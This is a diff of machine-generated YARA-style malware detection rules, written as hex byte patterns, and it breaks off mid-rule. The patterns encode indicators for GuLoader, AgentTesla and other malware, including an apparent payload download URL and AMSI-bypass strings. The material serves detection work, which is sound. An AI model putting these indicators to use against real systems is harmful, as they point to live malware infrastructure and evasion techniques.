_InfrastructureShared_19646{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,65 00 65 00 05 00 21 " @@ -224076,7 +238545,7 @@ rule _InfrastructureShared_18470{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*25956+(#a_62_2 & 1)*28257+(#a_20_3 & 1)*11896+(#a_56_4 & 1)*22842) >=101 } -rule _InfrastructureShared_18471{ +rule _InfrastructureShared_19647{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -224087,7 +238556,7 @@ rule _InfrastructureShared_18471{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*115) >=1 } -rule _InfrastructureShared_18472{ +rule _InfrastructureShared_19648{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0b 00 21 " @@ -224103,7 +238572,7 @@ rule _InfrastructureShared_18472{ ((#a_44_0 & 1)*19491+(#a_89_2 & 1)*656+(#a_00_3 & 1)*400+(#a_ef_5 & 1)*-215+(#a_90_6 & 1)*23925+(#a_00_8 & 1)*71+(#a_01_10 & 1)*1) >=2 } -rule _InfrastructureShared_18473{ +rule _InfrastructureShared_19649{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -224115,7 +238584,7 @@ rule _InfrastructureShared_18473{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*73+(#a_00_2 & 1)*53) >=4 } -rule _InfrastructureShared_18474{ +rule _InfrastructureShared_19650{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -224127,7 +238596,7 @@ rule _InfrastructureShared_18474{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*99+(#a_00_3 & 1)*49) >=5 } -rule _InfrastructureShared_18475{ +rule _InfrastructureShared_19651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -224141,7 +238610,7 @@ rule _InfrastructureShared_18475{ ((#a_54_0 & 1)*18467+(#a_7e_1 & 1)*32301+(#a_2d_2 & 1)*11569+(#a_35_3 & 1)*17972+(#a_2d_4 & 1)*11646) >=5 } -rule _InfrastructureShared_18476{ +rule _InfrastructureShared_19652{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -224155,7 +238624,7 @@ rule _InfrastructureShared_18476{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-29368+(#a_00_2 & 1)*257+(#a_e8_3 & 1)*400+(#a_48_4 & 1)*400) >=5 } -rule _InfrastructureShared_18477{ +rule _InfrastructureShared_19653{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0b 00 21 " @@ -224175,7 +238644,7 @@ rule _InfrastructureShared_18477{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*5+(#a_01_2 & 1)*3+(#a_01_3 & 1)*2+(#a_01_4 & 1)*2+(#a_01_5 & 1)*2+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1) >=6 } -rule _InfrastructureShared_18478{ +rule _InfrastructureShared_19654{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -224192,7 +238661,7 @@ rule _InfrastructureShared_18478{ ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*25939+(#a_65_2 & 1)*24403+(#a_74_3 & 1)*28233+(#a_0f_4 & 1)*-28580+(#a_68_5 & 1)*29793+(#a_00_6 & 1)*32+(#a_00_8 & 1)*111) >=9 } -rule _InfrastructureShared_18479{ +rule _InfrastructureShared_19655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 0a 00 21 " @@ -224207,7 +238676,7 @@ rule _InfrastructureShared_18479{ ((#a_6c_0 & 1)*16675+(#a_00_2 & 1)*32+(#a_00_4 & 1)*108+(#a_00_6 & 1)*116+(#a_00_7 & 1)*120+(#a_00_9 & 1)*87) >=9 } -rule _InfrastructureShared_18480{ +rule _InfrastructureShared_19656{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 21 " @@ -224218,7 +238687,23 @@ rule _InfrastructureShared_18480{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*32) >=10 } -rule _InfrastructureShared_18481{ +rule _InfrastructureShared_19657{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 4a 21 4d 54 42 00 01 00 1c 81 01 5c 62 6c 61 64 6d 6e 64 65 6e 65 5c 49 6c 64 73 70 61 61 73 74 74 65 6c 73 65 6e 73 01 00 11 81 01 5c 4b 6f 6e 73 69 73 74 65 6e 73 65 72 2e } //18467 + $a_01_1 = {00 25 81 01 5c 73 70 72 6f 67 76 69 64 65 6e 73 6b 61 62 73 6d 6e 64 5c 74 72 61 6e 73 70 6c 61 6e 74 65 72 65 2e 74 78 74 01 00 11 81 01 5c 61 66 73 76 61 6c 69 6e 67 65 6e 73 2e 6c 6e 6b 01 00 1a 81 01 5c 64 65 70 72 65 76 61 74 69 6f 6e 5c 45 6c 6c 69 70 73 65 72 73 2e 7a 69 70 01 00 1f 81 01 5c 69 6e } //26983 + $a_6d_2 = {6e 67 5c 73 6c 75 74 61 66 72 65 67 6e 69 6e 67 65 6e 73 2e 74 78 74 01 00 15 81 01 5c 6c 75 66 74 61 72 74 5c 63 72 6f 63 6b 65 72 79 77 61 72 65 01 00 1a 81 01 5c 72 65 6b 6f 6d 6d 61 6e 64 65 72 65 64 65 73 5c 68 6f 6e 65 79 2e 6c 6e 6b 01 00 1d 81 01 5c 75 64 73 6b 72 69 66 74 65 72 73 } //25954 + $a_7a_3 = {61 62 61 72 65 72 6e 65 2e 69 6e 69 01 00 20 81 01 5c 61 73 74 65 6e 69 73 6b 65 73 5c 4d 65 67 61 6c 6f 63 65 70 68 61 6c 69 61 32 30 2e 69 6e 69 00 00 78 67 01 00 0d 00 0d 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 31 37 30 36 32 32 21 4d 54 42 00 0a } //20572 + $a_68_4 = {74 00 74 } //19712 + $a_00_6 = {2f 00 74 00 65 00 72 00 72 00 61 00 7a 00 7a 00 61 00 69 00 74 00 61 00 6c 00 69 00 61 00 6e 00 61 00 2e 00 6d 00 78 00 2f 00 68 00 72 00 74 } //58 + $a_00_9 = {90 00 0a 00 4d 03 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 74 00 65 00 72 00 72 00 61 00 7a 00 7a 00 61 00 69 00 74 00 61 00 6c 00 69 00 61 00 6e 00 61 00 2e 00 6d 00 78 00 2f 00 68 00 72 00 74 00 2f 00 90 02 7f 2e 00 70 00 6e 00 67 00 90 00 0a 00 4d 03 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 74 00 65 00 72 00 72 00 61 } //109 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*26983+(#a_6d_2 & 1)*25954+(#a_7a_3 & 1)*20572+(#a_68_4 & 1)*19712+(#a_00_6 & 1)*58+(#a_00_9 & 1)*109) >=10 + +} +rule _InfrastructureShared_19658{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 07 00 21 " @@ -224233,7 +238718,7 @@ rule _InfrastructureShared_18481{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*97+(#a_00_2 & 1)*144+(#a_00_3 & 1)*115+(#a_00_5 & 1)*144+(#a_63_6 & 1)*21249) >=13 } -rule _InfrastructureShared_18482{ +rule _InfrastructureShared_19659{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,18 00 18 00 06 00 21 " @@ -224247,7 +238732,7 @@ rule _InfrastructureShared_18482{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*119+(#a_00_3 & 1)*70+(#a_6f_4 & 1)*28279+(#a_00_5 & 1)*139) >=24 } -rule _InfrastructureShared_18483{ +rule _InfrastructureShared_19660{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -224259,7 +238744,7 @@ rule _InfrastructureShared_18483{ ((#a_46_0 & 1)*21283+(#a_8b_1 & 1)*1025+(#a_01_2 & 1)*-28668) >=1 } -rule _InfrastructureShared_18484{ +rule _InfrastructureShared_19661{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -224273,7 +238758,7 @@ rule _InfrastructureShared_18484{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*29793+(#a_30_2 & 1)*300+(#a_2c_3 & 1)*2+(#a_7a_4 & 1)*24922) >=1 } -rule _InfrastructureShared_18485{ +rule _InfrastructureShared_19662{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -224288,7 +238773,7 @@ rule _InfrastructureShared_18485{ ((#a_54_0 & 1)*18467+(#a_8a_1 & 1)*21899+(#a_03_2 & 1)*257+(#a_01_3 & 1)*-28653+(#a_01_4 & 1)*-28653+(#a_11_5 & 1)*400) >=1 } -rule _InfrastructureShared_18486{ +rule _InfrastructureShared_19663{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -224299,7 +238784,7 @@ rule _InfrastructureShared_18486{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*19206) >=2 } -rule _InfrastructureShared_18487{ +rule _InfrastructureShared_19664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -224310,7 +238795,7 @@ rule _InfrastructureShared_18487{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-15999) >=2 } -rule _InfrastructureShared_18488{ +rule _InfrastructureShared_19665{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -224323,7 +238808,7 @@ rule _InfrastructureShared_18488{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*32+(#a_00_2 & 1)*35+(#a_00_4 & 1)*61) >=2 } -rule _InfrastructureShared_18489{ +rule _InfrastructureShared_19666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -224334,7 +238819,7 @@ rule _InfrastructureShared_18489{ ((#a_4c_0 & 1)*21539+(#a_02_1 & 1)*-28670) >=3 } -rule _InfrastructureShared_18490{ +rule _InfrastructureShared_19667{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -224347,7 +238832,7 @@ rule _InfrastructureShared_18490{ ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*13876+(#a_73_2 & 1)*29230+(#a_69_3 & 1)*25459) >=5 } -rule _InfrastructureShared_18491{ +rule _InfrastructureShared_19668{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -224361,7 +238846,7 @@ rule _InfrastructureShared_18491{ ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*6181+(#a_16_2 & 1)*-490+(#a_90_3 & 1)*11533+(#a_61_4 & 1)*29807) >=5 } -rule _InfrastructureShared_18492{ +rule _InfrastructureShared_19669{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 05 00 07 00 21 " @@ -224377,7 +238862,7 @@ rule _InfrastructureShared_18492{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*384+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_68_6 & 1)*0) >=5 } -rule _InfrastructureShared_18493{ +rule _InfrastructureShared_19670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -224394,7 +238879,7 @@ rule _InfrastructureShared_18493{ ((#a_46_0 & 1)*16675+(#a_b0_1 & 1)*-30391+(#a_4c_3 & 1)*400+(#a_00_4 & 1)*-6144+(#a_02_5 & 1)*282+(#a_00_6 & 1)*46+(#a_00_7 & 1)*35+(#a_00_9 & 1)*103) >=7 } -rule _InfrastructureShared_18494{ +rule _InfrastructureShared_19671{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -224411,7 +238896,7 @@ rule _InfrastructureShared_18494{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*17737+(#a_00_3 & 1)*64+(#a_00_4 & 1)*102+(#a_00_5 & 1)*1+(#a_73_6 & 1)*19575+(#a_65_7 & 1)*24932+(#a_68_8 & 1)*8307) >=9 } -rule _InfrastructureShared_18495{ +rule _InfrastructureShared_19672{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 07 00 21 " @@ -224419,15 +238904,34 @@ rule _InfrastructureShared_18495{ $a_6c_0 = {77 4c 69 73 74 3a 55 70 64 61 74 65 72 00 05 00 1e 01 44 00 6f 00 6c 00 70 00 68 00 69 00 6e 00 20 00 55 00 70 00 64 00 61 00 74 00 65 00 72 00 05 00 51 02 3a 5c 62 75 69 6c 64 62 6f 74 5c 72 65 6c 65 61 73 65 2d 77 69 6e 2d 78 90 01 04 5c 62 75 69 6c 64 5c 42 75 69 6c 64 5c 78 90 01 04 5c 52 65 6c 65 61 73 65 5c 57 69 6e } //16675 $a_61_1 = {65 72 5c 62 69 6e 5c 55 70 64 61 74 65 72 2e 70 64 62 90 00 0a 00 52 00 5c 62 75 69 6c 64 62 6f 74 5c 72 65 6c 65 61 73 65 2d 77 69 6e 2d 78 36 34 5c 62 75 69 6c 64 5c 73 6f 75 72 63 65 5c 63 6f 72 65 5c 76 69 64 65 6f 62 61 63 6b 65 6e 64 73 5c 64 33 64 31 32 5c 64 78 76 65 72 74 65 78 66 6f 72 6d } //28757 $a_63_2 = {70 0a 00 2d 00 44 6f 6c 70 68 69 6e 27 73 20 63 68 65 61 74 20 73 79 73 74 65 6d 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 64 69 73 61 62 } //29793 - $a_2e_3 = {00 0c 00 5c 44 6f 6c 70 68 69 6e 2e 70 64 62 05 00 13 00 57 69 69 20 67 61 6d 65 20 69 73 20 72 75 6e 6e 69 6e 67 0a 00 23 02 44 6f 6c 70 68 69 6e 2e 65 78 65 90 02 10 4e 76 4f 70 74 69 6d 75 73 45 6e 61 62 6c 65 6d 65 6e 74 90 00 00 00 78 68 01 00 10 00 10 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a } //25964 - $a_70_4 = {3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 53 31 21 4d 54 42 00 0a 00 69 03 02 08 18 6f 90 01 01 00 00 0a 28 90 01 01 00 00 0a 28 90 01 01 00 00 0a 03 07 6f 90 01 01 00 00 0a 28 90 01 01 00 00 0a 6a 61 d1 28 90 01 01 00 00 0a 13 04 06 11 } //28257 - $a_01_5 = {01 00 00 0a 26 07 03 6f 90 01 01 00 00 0a 17 59 fe 01 90 02 07 2c 04 16 0b 2b 04 07 17 58 0b 90 02 03 08 18 58 0c 08 09 fe 02 16 fe 01 90 00 01 00 37 80 01 45 6d 70 6c 6f 79 65 65 4d 61 6e 61 67 65 6d 65 6e 74 53 79 73 74 65 6d 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 2f 80 01 45 6d 70 6c 6f 79 65 65 4d 61 6e 61 67 65 6d 65 6e 74 53 79 73 74 65 6d 2e 44 69 73 70 6c 61 79 } //28420 - $a_72_6 = {2e 72 65 73 6f 75 72 63 65 73 01 00 0b 80 01 58 4f 52 5f 44 65 63 72 79 70 74 01 00 08 80 01 4c 6f 61 64 44 61 74 61 01 00 23 80 01 45 6d 70 6c 6f 79 65 65 4d 61 6e 61 67 65 6d 65 6e 74 53 79 73 74 65 6d 2e 50 72 6f 70 65 72 74 69 65 73 01 00 10 80 01 47 65 74 45 78 70 6f 72 74 65 64 54 79 } //26691 + $a_2e_3 = {00 0c 00 5c 44 6f 6c 70 68 69 6e 2e 70 64 62 05 00 13 00 57 69 69 20 67 61 6d 65 20 69 73 20 72 75 6e 6e 69 6e 67 0a 00 23 02 44 6f 6c 70 68 69 6e 2e 65 78 65 90 02 10 4e 76 4f 70 74 69 6d 75 73 45 6e 61 62 6c 65 6d 65 6e 74 90 00 00 00 78 68 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 } //25964 + $a_75_4 = {6f 61 64 65 72 2e 4c 4d 56 30 31 21 4d 54 42 00 01 00 14 81 01 4b 61 72 74 6f 66 66 65 6c 73 61 6c 61 74 65 6e 2e 61 66 6d 01 00 17 81 01 42 69 65 64 65 72 6d 65 69 65 72 73 74 69 6c 73 31 32 30 2e 74 78 74 01 00 } //12082 + $a_4d_5 = {72 } //-32493 r + $a_61_6 = {6e 6f 74 65 72 6e 65 2e 6a 70 67 01 00 19 81 01 74 72 65 64 76 65 61 61 72 73 66 64 73 65 6c 64 61 67 65 6e 65 2e 69 6e 69 01 00 15 81 01 73 74 61 6e 64 61 72 64 76 65 64 74 67 74 65 6e 73 2e 74 78 74 01 00 18 81 01 72 65 6c 61 6e 64 20 61 64 69 61 70 68 6f 72 79 20 6c 6f 62 61 74 61 65 01 00 1e 81 01 63 6f 6e 73 74 69 74 75 74 } //26983 condition: - ((#a_6c_0 & 1)*16675+(#a_61_1 & 1)*28757+(#a_63_2 & 1)*29793+(#a_2e_3 & 1)*25964+(#a_70_4 & 1)*28257+(#a_01_5 & 1)*28420+(#a_72_6 & 1)*26691) >=10 + ((#a_6c_0 & 1)*16675+(#a_61_1 & 1)*28757+(#a_63_2 & 1)*29793+(#a_2e_3 & 1)*25964+(#a_75_4 & 1)*12082+(#a_4d_5 & 1)*-32493+(#a_61_6 & 1)*26983) >=10 } -rule _InfrastructureShared_18496{ +rule _InfrastructureShared_19673{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 4d 56 30 31 21 4d 54 42 00 01 00 14 81 01 4b 61 72 74 6f 66 66 65 6c 73 61 6c 61 74 65 6e 2e 61 66 6d 01 00 17 81 01 42 69 65 64 65 72 6d 65 69 65 72 73 74 69 6c 73 31 32 30 2e 74 78 74 01 00 13 81 } //18467 + $a_72_1 = {69 6e 61 6c 6e 6f 74 65 72 6e 65 2e 6a 70 67 01 00 19 81 01 74 72 65 64 76 65 61 61 72 73 66 64 73 65 6c 64 61 67 65 6e 65 2e 69 6e 69 01 00 15 81 01 73 74 61 6e 64 61 72 64 76 65 64 74 67 74 65 6e 73 2e 74 78 74 01 00 18 81 01 72 65 6c 61 6e 64 20 61 64 69 61 70 68 6f 72 79 20 6c 6f 62 61 } //19713 + $a_01_2 = {00 1e 81 01 63 6f 6e 73 74 69 74 75 74 69 6f 6e 73 20 64 69 73 70 65 6e 73 65 72 6e 65 73 2e 65 78 65 01 00 23 81 01 69 6e 66 65 6f 66 66 65 64 20 6c 69 6c 6c 65 6a 75 6c 65 61 66 74 65 6e 20 73 6f 72 74 6b 6a 6f 6c 65 73 01 00 22 81 01 74 61 6c 65 73 69 67 6e 61 6c 65 72 20 72 65 61 76 65 73 20 79 6e } //24948 + $a_6e_3 = {73 75 64 74 72 79 6b 01 00 27 81 01 6f 76 65 72 67 6c 61 6d 6f 72 69 7a 69 6e 67 20 72 65 6e 6f 74 61 72 69 7a 65 20 6b 6f 72 73 69 6b 61 6e 65 72 65 6e 00 00 78 68 01 00 10 00 10 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 53 31 21 4d 54 42 00 0a } //27748 + $a_02_4 = {08 18 6f } //26880 + $a_00_5 = {00 } //400 + $a_01_6 = {01 00 00 0a 28 90 01 01 00 00 0a 03 07 6f 90 01 01 00 00 0a 28 90 01 01 00 00 0a 6a 61 d1 28 90 01 01 00 00 0a 13 04 06 11 04 6f 90 01 01 00 00 0a 26 07 03 6f 90 01 01 00 00 0a 17 59 fe 01 90 02 07 2c 04 16 0b 2b 04 07 17 58 0b 90 02 03 08 18 58 0c 08 09 fe 02 16 fe 01 90 00 01 00 37 80 01 45 6d 70 6c 6f 79 65 65 4d 61 6e 61 67 65 6d 65 6e 74 53 79 73 74 65 6d 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 } //10250 + $a_75_7 = {63 65 73 01 00 2f 80 01 45 6d 70 6c 6f 79 65 65 4d 61 6e 61 67 65 6d 65 6e 74 53 79 73 74 65 6d 2e 44 69 73 70 6c 61 79 43 68 61 72 74 2e 72 65 73 6f 75 72 63 65 73 01 00 0b 80 01 58 4f 52 5f 44 65 63 72 79 70 74 01 00 08 80 01 4c 6f 61 64 44 61 74 61 01 00 23 80 01 45 6d 70 6c 6f 79 65 65 4d 61 6e 61 67 65 6d 65 6e 74 53 79 73 74 } //29541 + $a_50_8 = {6f 70 65 72 74 69 65 73 01 00 10 80 01 47 65 74 45 78 70 6f 72 74 65 64 54 79 70 65 73 00 00 78 68 01 00 3c 00 3c 00 07 00 21 23 41 64 77 } //28005 + $a_3a_9 = {69 6e 33 32 2f 44 4d 43 61 73 74 00 0a 00 14 01 53 4f 46 54 57 41 52 45 5c 64 6d 73 68 61 72 65 77 61 72 65 0a 00 0d 01 64 6d 72 65 6d 6f 74 65 73 65 74 75 70 0a 00 08 01 64 6d 63 6c 69 65 6e 74 0a 00 24 00 44 00 4d 00 5f 00 49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 5f 00 50 00 72 00 6f 00 67 00 72 00 } //29281 + condition: + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*19713+(#a_01_2 & 1)*24948+(#a_6e_3 & 1)*27748+(#a_02_4 & 1)*26880+(#a_00_5 & 1)*400+(#a_01_6 & 1)*10250+(#a_75_7 & 1)*29541+(#a_50_8 & 1)*28005+(#a_3a_9 & 1)*29281) >=10 + +} +rule _InfrastructureShared_19674{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -224442,7 +238946,7 @@ rule _InfrastructureShared_18496{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*400+(#a_06_2 & 1)*4874+(#a_03_4 & 1)*9738+(#a_01_5 & 1)*22807+(#a_2f_6 & 1)*13166) >=16 } -rule _InfrastructureShared_18497{ +rule _InfrastructureShared_19675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,3c 00 3c 00 07 00 21 " @@ -224457,7 +238961,7 @@ rule _InfrastructureShared_18497{ ((#a_77_0 & 1)*16675+(#a_00_2 & 1)*97+(#a_73_3 & 1)*25449+(#a_65_4 & 1)*25970+(#a_de_5 & 1)*-8593+(#a_66_6 & 1)*-4337) >=60 } -rule _InfrastructureShared_18498{ +rule _InfrastructureShared_19676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -224468,7 +238972,7 @@ rule _InfrastructureShared_18498{ ((#a_6f_0 & 1)*21539+(#a_38_1 & 1)*26319) >=2 } -rule _InfrastructureShared_18499{ +rule _InfrastructureShared_19677{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -224480,7 +238984,7 @@ rule _InfrastructureShared_18499{ ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*0+(#a_00_2 & 1)*257) >=4 } -rule _InfrastructureShared_18500{ +rule _InfrastructureShared_19678{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0e 00 21 " @@ -224503,7 +239007,7 @@ rule _InfrastructureShared_18500{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_69_12 & 1)*0+(#a_67_13 & 1)*26726) >=4 } -rule _InfrastructureShared_18501{ +rule _InfrastructureShared_19679{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -224518,7 +239022,7 @@ rule _InfrastructureShared_18501{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*25703+(#a_65_2 & 1)*29505+(#a_00_4 & 1)*100+(#a_01_5 & 1)*4352+(#a_4b_6 & 1)*17988) >=7 } -rule _InfrastructureShared_18502{ +rule _InfrastructureShared_19680{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -224535,7 +239039,7 @@ rule _InfrastructureShared_18502{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25971+(#a_44_2 & 1)*17478+(#a_44_3 & 1)*22872+(#a_57_4 & 1)*21076+(#a_01_5 & 1)*28268+(#a_34_6 & 1)*12916+(#a_69_7 & 1)*28530) >=8 } -rule _InfrastructureShared_18503{ +rule _InfrastructureShared_19681{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -224553,7 +239057,7 @@ rule _InfrastructureShared_18503{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*26980+(#a_6b_2 & 1)*28265+(#a_65_3 & 1)*28245+(#a_25_4 & 1)*-32475+(#a_61_5 & 1)*24947+(#a_6b_6 & 1)*25196+(#a_6f_7 & 1)*29793+(#a_73_8 & 1)*21620) >=9 } -rule _InfrastructureShared_18504{ +rule _InfrastructureShared_19682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -224571,7 +239075,7 @@ rule _InfrastructureShared_18504{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*24946+(#a_6d_2 & 1)*24946+(#a_01_3 & 1)*6400+(#a_64_4 & 1)*20075+(#a_69_5 & 1)*26740+(#a_61_6 & 1)*28773+(#a_65_7 & 1)*25454+(#a_65_8 & 1)*27745) >=9 } -rule _InfrastructureShared_18505{ +rule _InfrastructureShared_19683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -224589,7 +239093,7 @@ rule _InfrastructureShared_18505{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*24940+(#a_01_2 & 1)*7424+(#a_62_3 & 1)*24883+(#a_72_4 & 1)*29532+(#a_5c_6 & 1)*10241+(#a_61_7 & 1)*29555+(#a_61_8 & 1)*28530+(#a_65_9 & 1)*25971) >=10 } -rule _InfrastructureShared_18506{ +rule _InfrastructureShared_19684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -224608,7 +239112,7 @@ rule _InfrastructureShared_18506{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28261+(#a_2e_2 & 1)*29301+(#a_62_3 & 1)*28486+(#a_69_4 & 1)*29532+(#a_65_5 & 1)*27497+(#a_2e_6 & 1)*14129+(#a_74_7 & 1)*29742+(#a_39_8 & 1)*11824+(#a_24_9 & 1)*-32500) >=10 } -rule _InfrastructureShared_18507{ +rule _InfrastructureShared_19685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -224619,15 +239123,15 @@ rule _InfrastructureShared_18507{ $a_6e_3 = {73 75 70 01 00 14 81 01 48 79 70 73 6f 69 73 6f 74 68 65 72 6d 31 36 37 2e 69 6e 64 01 00 0b 81 01 6d 61 74 74 69 61 73 2e 74 78 74 00 00 78 69 01 00 0c 00 0c 00 0c 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 4a 4f 30 30 37 38 21 4d } //28020 $a_01_5 = {24 24 24 61 6d 24 73 69 24 2e 64 6c 6c 24 24 24 01 00 17 81 01 24 24 24 41 6d 24 73 69 53 24 63 61 6e 24 42 75 66 66 65 72 24 24 24 01 00 12 81 01 24 24 24 31 38 35 2e 31 37 24 2e 30 2e 37 39 24 24 24 01 00 06 81 01 24 47 55 49 44 24 01 00 0a 81 01 24 24 24 4c 6f 61 64 24 24 24 01 00 14 81 01 24 24 24 67 65 74 5f 45 6e 74 72 79 50 6f 69 6e 74 24 24 24 01 00 0c 81 01 24 24 24 49 6e 76 } //4096 $a_24_6 = {24 01 00 1c 81 01 6e 63 58 78 57 2f 38 61 41 69 4d 48 59 